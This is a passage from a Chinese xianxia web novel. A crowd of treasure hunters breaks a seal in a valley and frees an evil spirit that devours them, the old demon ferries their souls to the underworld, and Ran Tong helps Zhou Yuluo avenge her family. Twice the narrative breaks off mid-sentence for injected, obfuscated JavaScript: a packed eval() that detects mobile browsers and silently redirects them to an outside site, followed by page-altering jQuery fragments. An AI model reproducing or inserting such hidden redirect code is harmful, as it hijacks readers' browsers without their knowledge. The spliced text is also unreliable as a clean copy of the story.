“这是万象圣尊赠送家师的礼物之一,家师又转赐给了我。你们若是质疑,不妨拿着它去七曜城检验真伪。” 她正大光明转圈向周围人展示令牌,毫不退缩地对每一个人对视。 幸好老魔易了容,否则她真不敢面对他。 寻宝者们既怕老魔也怕万象圣尊,如非必要犯不着惹事,都自动忽略冉彤,另想办法。 今天来的能人不少,有些对阵法见地颇深,围在地洞旁交流研究,一个极境初期的御灵门男修说:“这封印看起来像大阵的阵眼啊,让老夫来试试。” 他施法破解,封印真起了几分变化,洞口亮起红色符文,旋涡般正反交替着快速旋转。 这男修见状没辙了,另一个看不出修为的美艳少妇出列说:“此阵名唤阴阳交错阵,阳性那一半已被腐蚀掉了,得先补齐。” 她上前做法,捏决的手势仿若灵蛇起舞,优美之中透出诡异。 平野居士认出痕迹,问:“前辈可是南华州珞珈山的沐晴夫人?” 这名字惊到不少人,南华州珞珈山是妖族里朱厌族的地盘。 朱厌这种凶兽身形似猿猴,白头红脚,大部分凶残好杀。这沐晴夫人就是朱厌修成的化形大妖,据说已有两万多年道行。 人为万物之灵,修行比其他生物容易,修炼一年增长的法力相当于妖兽们修二三十年。所以这沐晴夫人的修为大概与极境后期的人族修士持平。 冉彤估计在场除了老魔没人是她的对手。 沐晴夫人没正眼瞧平野居士,傲慢道:“你倒是好眼力。” 她在人界的名声毁誉参半,众人都有些发憷,平野居士自持师父陈淳威名,还比较泰定,笑言:“听说夫人一向懒理人间是非,难道也是受那梦谕指引来的?” “不,我前天偶然听说这儿有座仙人墓,好奇过来瞧瞧。你们放心,我并非眼浅皮薄之辈,若非上好的宝贝,是不会同你们争抢的。” 受她法力影响,那旋涡转得更快,中心出现一个深井般的黑洞,洞口溢出充沛的灵气。 “这里的灵脉都枯竭了,地底还有这么强的灵气,下面肯定有宝物!” 众人兴奋,像嗅到甜味的蚂蚁争相向洞口聚拢,催促沐晴打开封印。 “且慢。” 一个苍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456719|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老浑厚的声音穿透人群,当那说话的瘦高个老翁自冉彤跟前经过,她的内丹震动得更厉害了,登时认出此人就是老魔所化。 他还真不在乎形象啊,这次居然变成个颅顶发亮的秃头,皮肤上沟壑交错,老人斑爬到了后颈,走在街上狗见了都会嫌弃。 冉彤紧张得几乎窒息,下意识往后退了一步,正好撞到黎申。 “表妹,当心。” 这坏蛋又开始假惺惺示好,冉彤狠狠瞪他一眼,决心在死前骗老魔宰了这群畜生。 老魔浑身散发出超强的灵压,迫使挡道的人们退让,从容走到地洞边,凛然宣布:“大家没看出这峡谷是座巨型绝灵阵吗?此阵惯用于镇压凶邪,这地洞下定然关着某个凶灵,若破除封印放它出洞,汝等恐惹血光之灾。” 他将修为压低至极境初期,众人虽看出他是强手,贪欲高涨时也不惧犯险,都叽叽喳喳质疑反驳。 “前辈想吓走我们独吞宝藏?我们可不会上当。” “就是,不入虎穴焉得虎子,就冲洞里这股灵气,我也得下去瞧瞧。” 沐晴夫人见多识广,看出这老秃头很不简单,向那些催促者说道:“下面还剩一个步骤,须往这黑洞里投入一个活人祭阵方能瓦解阵眼。” 严苛条件难住大伙儿,你看我,我看你,喧哗渐息,气氛变得紧迫而僵硬。 尹天佑记恨冉彤,觉得留之已无用,指着她大声说:“这丫头修为最低,不如扔她吧!” 冉彤含恨啐他,情急恐吓眈视她的人们。 “谁敢伤我!” 自觉威慑力不足,立马豁出去了。 “家师就在现场,你们杀了我,他立时叫你们所有人陪葬!” 她想老魔多半不愿当场暴露身份,反正已经踢到他的底线,索性多踢几脚看看耐受度。 人们如闻惊雷,相互查看,都准备随时撤退。 尹天佑死鸭子嘴硬:“这丫头铁定吹牛,老子一个字都不信!” 冉彤尖酸嘲谩:“那你就来试试看啊,光说不练是孬种!” 尹天佑气得吹胡子瞪眼,可身体远不如嘴豪迈,反而侧身避了避。 不少人和他持类似心态,一名化境女修提议:“这丫头和七曜城还有那无名老魔关系匪浅,若拿来祭阵,得让不怕事的人动手。” 在场谁有这份胆气呢? “有意思,老夫倒想试一试。” 冉彤想吃老魔的马,反被他将了军,见他森冷地看过来,锐利目光先将她刺成了筛子。 被我连番愚弄,他肯定气疯了吧。 清晰感受到老魔的杀气,她在绝望恐惧之余莫名地难过。 老魔人不坏,还挺厚道的,她自认也不是坏人,被好人误解反感,委屈便油然而生。 那些乱麻般的前事已然解不开了,眼下他们是有你没我的敌人。 她横下心对抗到底,大言不惭威胁老魔:“老秃毛,你没见识过我师父的手段吧,他打个喷嚏都能把你们全部烧成灰!” 老魔知道冉彤已看出他是谁,接连被她不知死活的猖狂行径冒犯,新奇已胜过愤怒,想看看她能作死到什么程度,冷笑:“老夫可不像他们那么好吓唬。” 冉彤心想“你认为我坏,我就坏给你看!”,不怯场地叱骂:“那是因为你没亲眼见识过我师父的法力,当年他叱咤十州,打遍人界无敌手,离恨天那些太上长老个个都是他的手下败将,靠耍阴谋诡计才将他陷害囚禁。如今他重新出山,依然所向无敌,前不久才在鹧鸪山大展雄风,逼得离恨天靠撒谎找台阶下,不信问他们!” 她怒指黎修鳞等人,用对方的沉默为自己助阵。 老魔不知她这些话都是临时从《云影仙踪记》里摘录篡改的,全盘复制了长嬴法师的经历。 他只当冉彤真和七曜城有渊源,了解了一些他的事迹,试探:“就算你真有这样厉害的师父,他也未必会在意你这种毫无利用价值的小丫头。” 冉彤明白老魔在蔑视她,委屈激增为羞耻,怨自个儿把他想象得太好。 紫烟散人到底还是美化了他,长嬴法师可没这么刻薄! 想罢气冲冲叫嚷:“你懂什么!我师父义薄云天、重情重义,待我如同亲生女儿,他绝不会不管我!” 她每到气急败坏,脑筋就更灵光,瞬间绕完九曲十八拐的思路,做出判断。 这魔头刚才阻止人们解封印,断不会真心拿我祭阵,就让他见识一下,我这颗小嫩姜也能辣过他这个老干姜! “你们要死我便成全你们!” 她孤注一掷,遽然飞身跃向黑洞。 一片惊呼声中,当真是老魔先用灵力将她拽回来。 他没想到这丫头能狠到这地步,防她乱动,一把拽到跟前,沉声警告:“老实点!” 大不了一死,冉彤迈出这步便什么都不怕了,得意地抬头笑望他怒意充盈的双眼,暗暗传音道:“阁下这般仁义,难怪能得我主万象圣尊青睐。” 她光脚不怕穿鞋的,盼望把水搅得越浑越好。 不管老魔和万象圣尊是否有勾连,听了她这番话都会动调查的念头。 这样她总能多活一会儿。 29.邪灵 在场的魔修们不如正道修士顾虑多,早怨这些懦夫蝎蝎螫螫,畏首畏尾。 老魔救回冉彤时,围观者的注意力都被他们吸引去。 一名黑袍面具魔道男趁机出招将身旁一个净境男修打入黑洞。 老魔来不及阻止,激愤地释放罡气当场轰得面具男尸骨无存。 这法力远不止极境初期,人们看出他隐藏了修为,登时又惊又疑。 “都马上离开这儿!” 老魔威严下令,同时施法堵那黑洞。 沉入群山的夕阳恰好燃尽最后一线光亮,地面蒙上黑布,万物都失去轮廓。 老魔又迟了一步,只堵住黑洞本身,整个法阵已由于阵眼的崩坏支离破碎,谷中多处地带喷发出强大邪恶的灵力。墨绿色的 瘴气洪水般淹没方圆几十里地,空间扭曲,将聚集的人群分割成数块,分散转移到谷内的不同区域。 “这瘴气有剧毒!” 一些低阶修士出现中毒症状,肢体僵硬,五感渐失,各自服用解毒丹药后仍收效甚微,深感毒瘴之烈非同一般。 冉彤在异变出现时敏捷地穿上玄鳌灵甲,见身边有修士中毒,自己还无事,因此意外发现这铠甲还有不错的防毒功效。 老魔没和她分到一处,真走运,此时不跑更待何时? 她腾空起飞,立刻察觉不对劲。 墨绿色的云雾遮蔽天空,越往上飞越黑,其他方向也是,漫无边际到不了尽头,云雾里阵阵鬼哭狼嚎,神识探查也失效了。 是幻术! 她连忙退回地面,周围已不见人影。 那邪恶的灵力熬汤似的迅速粘稠,像无数鬼祟的眼睛从四面八方瞪过来,时刻准备将她生吞活剥。 老魔又说大实话,这峡谷里当真镇压了妖邪。 瘴气还会弱化神识,她必须依赖肉眼视物,忙取出不夜珠发簪插在头上,靠光照探路。 这办法很危险,不久敌人便顺着光亮找到她。 “周羽珞,你这丫头还没死!” 尹天佑看冉彤好比爬在鼻尖上的蚊子,早想一巴掌拍扁。明知筹划多年的寻宝计划落空了,就把这笔帐算到冉彤头上,见了非弄死不可。 冉彤没了神木牌,面对他的攻击,躲避都很吃力,正想扔出最后一粒摄魂珠,忽听尹天佑在毒瘴里惨叫。 “哪儿来的畜生,敢咬老子!” 激烈的狗叫似在与之对骂,听着像阿黄。 冉彤惊疑乍起,一头巨兽冲出瘴气挡在她跟前。 它外观像狗,体形却大出十倍,小山堆似的,低吼声犹如闷雷, “阿黄?是你吗?” 感觉这怪兽的气息酷似阿黄,她试着呼唤一声。 大狗停止咆哮,转头伸出长嘴,用嘴侧轻轻蹭了蹭她的肩膀。 “阿黄!真的是你!” 冉彤百感交集,疑思纷涌。 此时的阿黄携带堪比臻境修士的强劲灵力,应该算一头七级妖兽。 可是冉彤依然没发现它体内有妖丹,也不明白它是怎么跟到峡谷,又是如何找到她的,这咄咄怪事该从何求解? “孽畜,老子先宰了你!” 尹天佑旋即现身,他的右肩被阿黄咬出几个血洞,又痛又怒,加倍狂躁,戴上法宝摧魂爪,恶形恶状杀过来。 阿黄勇猛迎战,巨大的身体闪电般扑向敌人,鼓动两排剑戟利牙,一双精钩硬爪与尹天佑鏖战。 一人一狗似两道旋风交缠激斗,阿黄实力毕竟逊色,几个回合下来被追魂爪连抓带戳,在头颈胸背上撕出十几道又深又长的伤口,鲜血横飞数丈,直溅到冉彤身上。 她心疼焦急,大喊:“阿黄,你斗不过他,快逃啊!” 在她的叫声激励下阿黄斗志更加昂扬,眼中怒火熊熊,锻造出无比坚毅的决心,每一次奋不顾身地进攻都像在宣誓:要为她战至最后一口气。 “孽畜,滚去死!” 尹天佑被缠疯了,趁阿黄动作减缓,暴起一脚踹中它的胸腹。阿黄哀嚎着向后飞出,重重跌落,体形骤缩回平常大小,四肢抽搐着不能动了。 “阿黄!” 冉彤跳到它身边,阿黄身上惨不忍睹的伤口顿时延伸到她心底。 落难这一年多来,只有这条狗愿意舍命保护她,触及肺腑的感动、同生共死的冲动、义愤填膺的激动点燃了她心中的魔性,不惜一切代价要为阿黄报仇。 “混蛋,拿命来!” 她掏出摄魂珠投掷,冥冥中似乎有谁在帮她节省这珍贵的法宝。 尹天佑脚边的地面猝然钻出几根成人大腿粗细的黑色树根,以蟒蛇捕食的速度牢牢缠住他。 尹天佑未及反抗,大半截身子已被拉入土层。 他如同不会游泳的溺水者扒住土石狂呼挣扎,树根的虬须趁势钻进他的嘴巴,堵塞他的喉咙。 他“呜呜”闷哼,煞白圆瞪的双眼仿佛两只翻肚死鱼,双手稍一脱力便被彻底拽进地底。 冉彤在目睹尹天佑被树根缠身时,紧急抓回已脱手的摄魂珠。 她明白那些树根是邪灵所化,急忙抱起阿黄逃跑,没顾上看尹天佑最后的下场。 毒瘴绵延无垠,逃出十几里可能还在附近转圈。 她担心阿黄伤势,感觉附近没什么动静,停下来匆忙布了个防御阵,取出疗伤药打碎喂给阿黄。 尹天佑的催魂爪不止伤躯壳,还损神魂,阿黄吃了丹药,皮肉伤渐渐愈合了,元神的损伤仍无法修复,虚弱地瘫在地上,努力睁眼看她。 冉彤预感它挺不过这一关,伤心得直落泪,摸着它的头安慰:“阿黄别怕,你会好起来的。” 泪水渗出阿黄的眼角,它喘着气挣扎靠近她。 冉彤连忙小心扶起它的头,枕在自己膝上。 阿黄这么爱周姐姐,若知道我不是她,定会很失望。 她觉得自己利用欺骗了这头忠犬,愧疚感在心间舞刀弄枪,制造出双倍的疼痛。 忧急时刻收到了周羽珞的传音符。 “彤儿妹妹,我受伤了,你能来帮我吗?” 周羽珞声调痛苦,气息凌乱,看来伤得不轻。 冉彤忙答应了,过后瞅着阿黄犯愁。 此去路上还有危险,阿黄重伤在身,不能再有闪失了。 她搂着阿黄柔声说:“阿黄,我要去救朋友,你呆在这法阵里别乱动,我定会回来救你。” 她轻轻将狗头放回地上,俯身用脸贴了贴它的脑门,朝周羽珞所在的方向飞去。 这时其他被困者也遭遇树根袭击,平野居士亲眼目睹那参与破阵的御灵们修士被蛇群般的树根围攻吞噬,急忙带领十几个寻宝者朝反方向撤退。 没跑多远一个人影飞奔而来,向他们扇出一阵夹带众多锐器的罡风。 平野居士张开护盾抵挡,那些锐器叮叮当当扎中护盾,仔细辨认是一枚枚长梭梭的叶片。 而那追袭他们的人竟是刚刚丧命的御灵门男修。 人们以为他被操控,平野居士最先得出正确结论。 “他被炼成尸傀了。” 那男修眼泛绿光,发出魔鬼般的扭曲阴笑,浑身不断溢出墨绿色的尸气和强到可怕的灵力。 “本座忍饥挨饿上千年,今天终于能饱餐一顿了,你们一个都别想逃。” 灵压似狂潮漫卷,平野居士的护盾支撑不住,忙抛出几支阵旗,带领众人躲进法阵。 那法阵外表好似清澈如水的镜面,能反弹一切攻击。 尸傀在阵外止步,冲平野居士阴笑:“青龙水镜阵,你小子是离恨天的人。” 当前形势之棘手实乃平野居士生平未遇,尽力藏住恐慌,严斥:“何方邪魔,敢犯我道祖神威!?” 邪灵笑声震耳欲聋,放肆讥讽:“小杂鱼焉敢狐假虎威,也不先问问本座是谁。” 一个胆肥的男修还嘴:“平野前辈问你是何方邪魔,你倒是报上名来啊!” 邪灵用力冷哼,腔调更为狰狞。 “鼠辈们都听好,本座就是你们口中的极恶魔星,夏仙尊。” “极恶魔星”这名字是深植于人界众生心目中的恐怖符号,千年来家喻户晓,能止儿啼。 众人怛然失色,又相继质疑:“极恶魔星早被道祖镇压了,怎么可能还活着?” 邪灵绕着法阵寻找破绽,并且恶狠狠呈威风。 “本座乃不死之身,毗沙只能囚禁我而已。本座在这儿困了上千年,多亏你们这帮小杂碎解开那磨人的封印,才让本座重见天日。” 他暗中施展幻术,搅乱人们心神,在场最硬气的也顿时骨酥筋软,悔不该贪心寻宝,误入大魔头的巢穴。 平野居士修为定力高于其他人,默念护心法咒稳固神识,猛然断喝:“别听这厮的鬼话!他不是极恶魔星!” 邪灵反驳:“小子,你又不认识本座,凭什么这么肯定?” “我是不认识你,可我师父认识极恶魔星,真正的极恶魔星根本不在这里!” 离恨天高层不久前对内更新了相关线索,平野居士听陈淳提起过,知道这妖邪在冒名恐吓。 邪灵有些诧异,忙凶狠逼问:“你说老夏不在这里?那他在哪儿,难不成他还活着?” 平野居士不答话,做法祭起乌有缸。 法宝升空胀大千百倍,将那尸傀连带千万条粗细不等,奇形怪状的树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464004|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根吸入缸中。 邪灵中计后兀自悠闲狞笑。 “这法宝的风格本座好像见过,是了,你定是陈淳小儿的弟子。若是你师父亲自来本座或许还会忌惮三分,只靠这口破缸又如何伤得了本座?” 阴邪之气倏忽注满乌有缸,缸壁裂出若干缝隙,一声震天巨响,竟被生生撑爆了。 平野居士彻底傻眼,此刻树根已从法阵最薄弱的下方入侵,钻破土层擒住众修士,掏丹噬脑,大肆攫取灵力。 平野居士肉身被困,急忙施展蝉蜕术,魂魄脱壳逃遁,不想一头撞进毒瘴凝成的罗网,被邪灵分解蚕食。 “极境修士的生魂就是比其他人好吃,再多来几个本座就能重获新生了!” 邪灵大快朵颐,今天进谷的千余人已十不存一,少数死于互殴,其余的都做了他的食粮,他的灵力正迅速恢复,即将脱离这座囚困他一千五百年的绝地。 突然,一股熟悉的灵力在他如火如荼地狂喜上泼了盆冷水。 毒瘴被艳紫色的雾气溶解了一大块,蓝衣翩然的身影向着他徐徐走来,那双凌厉的凤眼里正跳动着两团幽蓝色的怒火。 邪灵如临大敌,惊叫:“是你,你不是被毗沙镇压了吗?!怎会到此?” 老魔冷笑:“你忘了老夫也是不死之身,今日专程来除掉你。” 紫气化做不计其数的锁链准确飞向邪灵藏匿处,毒瘴触之即散。 邪灵举世独怕老魔,明知他被囚千年,法力或许大不如从前,见面后仍被他的威势震慑,完全不敢恋战,屁滚尿流地遁地躲避。 老魔原地施术,食指朝虚空中画出十几道镇符,星流四散到峡谷各处,封锁出路,防止邪灵脱逃。 烟瘴散去露出蓝蓝的夜空,圆月上中天,清辉朗照,群山恍若负雪。 平野等人的尸体忽然接连爬坐站起,眼眶里绿光闪闪,体表散溢尸气,凶猛地扑向他。 老魔发动禁咒定住尸傀,僵尸们身体不能动弹,口中还在呼喊怪叫,每个人表情都异常痛苦。 他们的生魂被邪灵吞吃,死魂受瘴气污染,无法进入轮回,将永远在人世徘徊,做他的奴隶。 平野居士修为高,死魂还残留着部分意识,已猜出老魔就是先前示警的秃头翁,向他哀求:“我等愚昧,未听前辈忠告,方有此恶报。晚辈宁可散魂也不愿遭这个罪,前辈可有法子助我们解脱?” 老魔跟陈淳有仇,本不想救他徒弟,看他惨状可怜,心一软便不拿他跟别人区别对待了,说:“老夫现在开启冥河渡口,让摆渡人送你们去冥界。” 他双手结印,喃喃念动召唤神明的咒语。 天穹上显出一道空间裂缝,黑色的冥河水横空流淌,阴风凛冽,霜花漫天,月光下一艘渡船伴着声声欸乃顺流驶来。 摇橹的船夫身穿黑蓑衣,头戴黑竹笠,脸的位置竟是个深邃的黑洞,正是“无形无相幽冥客,三途河边摆渡人”。 船行至老魔上方,摆渡人恭敬询问:“这位仙师有何吩咐?” 老魔客气拜托:“这谷中有很多受困的死魂,我会一一赶他们登船,烦劳差官送他们渡河。” 摆渡人连道:“好说,好说。” 抛下锚定,准备接应。 老魔做法取出困在尸体里的死魂,一团团磷火般的魂体飘荡升空飞向渡船。 平野居士震惊:“前辈究竟是何人?!” 只有真正的神仙能请神役鬼,他想不通老魔是如何做到的。 老魔撵他上路,告诫:“下辈子好好做人,别像陈淳小子那般阴险。” 他继续去别处救拔死魂,打算完事后再收拾邪灵。心里有一丝记挂那狡猾的小丫头,一方面认为她死了活该,另一方面又希望她先接受他的审讯。 平野居士等人遇害前,冉彤已找到周羽珞。 她的后背教人抓伤了,伤口流出的血混着墨绿色的瘴气。 冉彤猜到是谁干的,来的路上她遇见好些状如僵尸的寻宝者,他们了无生气,丧失意识,像只知杀戮的傀儡拼命追击活人,天罡真雷也轰不死。 “周姐姐,你先吃颗伤药。” 周羽珞摇头拒绝她递来的丹药,无奈道:“我有比这好得多的伤药也不见效,那些人的尸气有剧毒,这具躯壳恐怕不能用了。” 她取出神木牌还给冉彤,询问仇人们的下落。 “尹天佑已被这儿的邪灵杀死了,其他人不知在哪儿,估计也跑不掉,我们先离开这儿!” 冉彤想背起周羽珞,返回去找阿黄。 周羽珞忽然按住她的手,警惕地向右侧看去。 冉彤跟随她转头,见谢洋缓步走出毒瘴,正怨鬼似的瞪视她们。 30.真相 谢洋死里逃生跑到这儿,见到周羽珞还当她是吴嫣然,质问:“嫣然侄女,你什么时候跟这丫头这么要好了?” 冉彤想用摄魂珠弄死他,周羽珞却先咬着牙站起来,望着她恳求:“妹妹,再借你的宝物一用。” 她苍白的脸涌起潮红,冉彤知道那是名为仇恨的胭脂,这个一无所有的复仇者正在贯彻此生唯一信仰,支持、旁观是对她最大的尊重。 她交出神木牌,传音说:“周姐姐,你想怎么干都行,我给你掠阵。” 周羽珞感激地点一点头,面向谢洋。 “我不是吴嫣然,我是周羽珞。” 谢洋大惊,眼珠在她和冉彤间左右急转。 “你是周羽珞?那她又是谁?” 冉彤奚落:“你管本小姐是谁!杀人偿命,你和黎修鳞、吴奇、尹天佑串通杀害周姐姐的家人,如今吴奇和尹天佑已遭了恶报,接下来轮到你了!” 谢洋自恃修为高,无惧威胁,只担心冉彤后台硬,杀之前还得估量风险。 周羽珞峻色质问:“谢洋,我爹待你不薄,还曾几次救你性命,你怎忍心恩将仇报?” 谢洋毫无悔意,反而冷笑:“他救我是看我对他有用,也没费什么力气。傻丫头,你还当你爹是大好人啊?他比我们坏多了,我也是通过他的言传身教才明白人不为己天诛地灭的道理。” “你胡说!” 周羽珞性格文雅,断喝后接不上有力度的骂辞。 冉彤立马代劳,踮起脚跟朝谢洋大声叫骂:“人死了就可以随便泼脏水是吧?我看你心眼这么坏,下辈子投胎只能做蛆,还是终生呆在粪坑里,连苍蝇都变不成的蛆!” 谢洋大怒:“死丫头,别以为有你师父撑腰我就不敢杀你!” 冉彤嗤笑:“你还记得我师父啊,那还不赶紧求求我,待会儿好让他老人家赏你个痛快!” 她现是泥菩萨,遇见老魔自身难保,可在此前仍能尽情吓唬牛鬼蛇神。 谢洋情知跟她对峙占不到便宜,想先瓦解她和周羽珞的联盟,放缓语气问:“你与周家什么关系?为何帮他们?” 听冉彤说:“没关系就不能帮啦,本小姐就爱惩恶扬善不行吗?” 他马上挑拨:“如果是这样那你真是帮错人了。周显宗就是个奸险小人,当年他挑唆我们四人谋夺恩师静水先生的内丹,怕我们不从,还事先搜罗把柄逼我们就范。可笑师父糊涂,还特别偏爱这黑心贼,将上等功法单独传与他。他但凡肯这么善待我们四人中的一个都不至于落到那样的结果。” 周羽珞气得发抖,急向冉彤澄清:“他血口喷人,妹妹你别信他!” 弑师和夺丹在修真界算不得奇闻,冉彤没和周显宗接触过,不能判断其为人。 管他是好是歹呢,我只信周姐姐,这群恶人害苦了她,我专心替她报仇就对了。 “姐姐别理这畜生,看我取他狗命!” 冉彤想动手,周羽珞抢上前一步。 “让我亲手为爹娘报仇。” 她不顾伤痛祭出三十六把落星锥刺向谢洋,谢洋也以拿手的子午真气还击,二者对撞炸开层层气浪。现场的地皮被铲飞了一层又一层,逼得冉彤后退数十丈,叫狂风刮得睁不开眼。 周羽珞的修为比谢洋低了一个境界,有神木牌加持能勉强打个平手,可难以久挨,更不可能杀掉对方。 谢洋看出周羽珞在靠冉彤给的法宝支撑,狠命加码,想一口气杀人夺宝。 “死丫头,你比你爹娘多活了几年也够本了,这便下去陪他们吧!” 冉彤看出他要下杀手,忙要帮忙。 周羽珞突然大声喝令她退后,向谢洋怒吼:“你们找不到那子虚乌有的功法了,不如来见识一下我自创的绝招。” 一片红色符文自她领口、袖口钻出,仿佛汹涌的虫群爬遍肌肤。 冉彤感觉她的精血在迅速流失,显然正进行着某种极端的邪术。 周羽珞口眼偾张,七窍喷出血红的烟雾,于半空中凝聚成一只头顶长着独角,胸前布满鳞片,翼展超五丈,鱼尾钩喙的大鸟。 蛊雕! 熟读《列国妖兽志》的冉彤一眼认出这猛禽,并且领会了周羽珞所用功法的原理。 将妖兽的精魄封存于体内,到紧要关头献祭自身全部精血激活兽魂,与敌人同归于尽。 这是周羽珞为复仇研发的杀招,灵感来源于一门传说中名叫“血祭八荒”的上古魔功。她预感最后的大决战已来临,日前外出炼器时在中州的资材铺里倾囊购得这头骨雕的精魄,自信至少能靠这招解决一个仇人。 “谢洋,还我爹娘命来!” 愤怒的呐喊随即被雕鸣掩盖,谢洋万没料到她会使这招数,当蛊雕发起冲锋后方看出厉害,忙架起护盾抵御。 那蛊雕原是八级凶兽,法力相当于极境修士,谢洋如何挡得住它全力一击,被它叼住脑袋,攥住身躯,一顿拉扯撕成碎块。 战斗结束,蛊雕湮灭消失了。 冉彤急忙扶住倒跌的周羽珞,眼睁睁看她的身躯如落叶般干枯萎缩。 “周姐姐!” “……我没事。” 周羽珞魂体出窍,像一座透明的玻璃塑像,看上去很虚弱。 “用了这法术,以后不能再夺舍了。” “那怎么办!?” “无妨,只要杀了黎申和黎修鳞,我便无憾了。” 冉彤很为周羽珞难过,但她知道对方更需要鼓励和帮助,故而回以坚毅表情:“我陪你去找他们!” 兜里的摄魂珠一直没用出去,敢情是留给那对大小畜生的,我定要让他们向周姐姐求饶忏悔。 她让周羽珞爬在凝魂珠上休息,带着她飞奔。 “周姐姐,我们先去救阿黄好吗?” “阿黄是谁?” “你以前养的大黄狗。” “我没养过狗啊。” 判断有误,冉彤迷惑道:“那狗见我披着你的皮,第一次见面就对我很亲热,刚才也是它冒死从尹天佑手中救下我,我还以为它把我当成主人了。对了,它法力很强,是头七级妖兽。” 周羽珞也纳闷:“我从小怕狗,也没见过你说的这只大黄狗啊。” 刚才的激战令她魂体受损,估计这是最后一次与冉彤交谈,语重心长叮嘱:“彤儿妹妹,我储物袋里有三颗“天心万安丸”,疗伤有奇效,你拿去保命吧。我们相处的时间恐怕不多了。你能逃出去的话一定要记住我的教训,永远别相信情爱,这样就不会重蹈我的覆辙。” 冉彤刚落难时也持相同看法,但此刻已全然改观,摇头说:“不,我还是相信世间存在善良忠贞的有情人,姐姐你不就是吗?” 这句话犹如火焰落在周羽珞结冰的心田,又一次为这女孩的通透所折服,哽咽道:“你说得对,似妹妹这般聪颖绝不会遇人不淑,你这么优秀,值得世间最好的男子来爱你。” 冉彤想开导她,忽然发觉周围的毒瘴正在淡退,神识恢复,蓝衣老魔的灵力随着天罡真雷的感应抵达她的丹田。 忽而明月照临,天空中涌出一条滔滔黑河,附近升起一串串闪光的魂体,向黑河中段聚集。 感受到那森寒的幽冥之气,她们都判断那是连接人界与阴间的三途河。 “冥河现世,这是怎么弄回事?” “……是那老魔头,他竟能沟通阴阳。” 老魔玄之又玄的神力令冉彤莫明震撼,失神数息,灵光乍现,向周羽珞喜道:“姐姐,这冥河水直通地府,你快跟着那些魂去,这样就能轮回转世了!” 修鬼道会被镇守鬼门关的神将鬼差驱赶,无法进入阴间投胎,但若顺着这河水便可成功偷渡入境,机不可失时不再来。 周羽珞犹豫:“我还要为爹娘报仇……” 冉彤铿然打断:“不!你已经尽到该尽的责任了,别再为那对禽兽父子执着。你比他们高贵一万倍,不该和他们共沉沦。去轮回吧,下次一定会拥有幸福美满的人生,剩下的仇我替你报!” 月华明亮,不及少女脸上生机勃勃的光辉,彻底驱散笼罩周羽珞心智的阴霾。 她含泪点头,崭新希望似沙漠中绽放的玫瑰,鲜艳而旺盛。 冉彤带她飞向冥河,可是很快便顶不住强大的阴气,只得停在一座悬崖上,一步一步艰难向上攀爬。 岩壁陡峭,接近笔直,烈风灌顶,乱石刀片般飞来,每前进一尺都会承受极大的阻力。她不惧伤痛,凭着顽强的意志和义气,坚持护送周羽珞来到冥河下方。 “周姐姐,你自己能上去了吗?” “能……” 周羽珞奋力飞向河水,伸手去够那翻滚的浪涛,分别在即,她本该向冉彤道谢道别,却使尽力气喊出另一番话。 “彤儿妹妹,你要好好活下去,把那些伤害过你的人全踩在脚下,让他们后悔自己的所作所为!” 冉彤知道这是周羽珞力所能及的最大回馈,含着热泪高声回应:“我会的!” 湍流瞬时卷走亡灵,载着她奔赴新生。 一段善缘圆满完结,冉彤十分欣慰安定,马不停蹄下山去救阿黄。 此刻阿黄已离开法阵,拖着接近报废的身躯摇晃行进,他知道自己已没能力保护心上人了,仍不死心地想再看她一眼。 上千个日日夜夜他都靠着对她的思念撑过那些不堪言说的痛苦屈辱,不管她如何看待他,不管误会还能不能解开,他只求守在她左右,无论外表身份。 身躯到底崩坏了,他倒地粗喘,嘴边淌出血沫,埋怨自己的无能。 焦急中察觉有人逼近,他挤出仅存的力气呲牙戒备,眼前出现一个高大英俊的蓝衣少年,周身灵光环绕,宛若金仙。 老魔打量阿黄片刻,蓝眸呈现柔和的光泽。阿黄也明白遇见了能救助他的高人,向他发出微弱的哀鸣。 毒瘴并未散尽,时淡时浓地漂移着,冉彤想老魔定在追剿邪灵,暂时腾不出手管别的,她还有机会逃跑。 拐过一座山坳,一个男人的痛嚎声劈面而来,是黎修鳞。 她落地躲藏,神识穿过暗夜抵达百丈外,只见黎修鳞捂住血流如注的胸口,惊骇愤慨地詈骂对面的凶手。 “孽障,连你亲爹也敢杀!” 重伤他的正是黎申,他好像被邪灵控制了,满脸阴笑逼得五官走样,灵力暴涨,修为直逼极境。 “你弑师的时候没想到会死在自己亲儿子手里吧?” 黎修鳞被他这句怪话吓得忘了疼,大叫:“你、你不是申儿!” 黎申腔调全改,狠厉嘲弄:“乖徒儿,这才过了一百年就不认得为师了?” 意想不到的翻转也让冉彤心惊捂嘴,见黎修鳞跌坐地上,猜他大概体会到了周羽珞在遭遇灭门案时所受的打击。 看来之前谢洋的话有一定真实性,这伙人的确谋害了他们的师父静水先生,后者夺舍了黎申……这么说是这个老鬼害了周姐姐! 那夺命的树根遽然探头缠住黎修鳞,黎修鳞深陷泥土,惶急之下怕死求饶。 “师父!师父您原谅徒儿吧!都是周显宗使坏强迫我们,徒儿也不想啊!” 静水兴奋欣赏惨况,品味他的绝望如尝美酒,怨毒詈斥:“你们这帮逆徒没一个好东西,本座隐忍这么久,等的就是这一天。你还是下去和你的宝贝儿子团聚吧。” 黎修鳞高亢的惨叫急转直下,消失在土层中。 冉彤神思未定,静水已裹着毒瘴闪现到 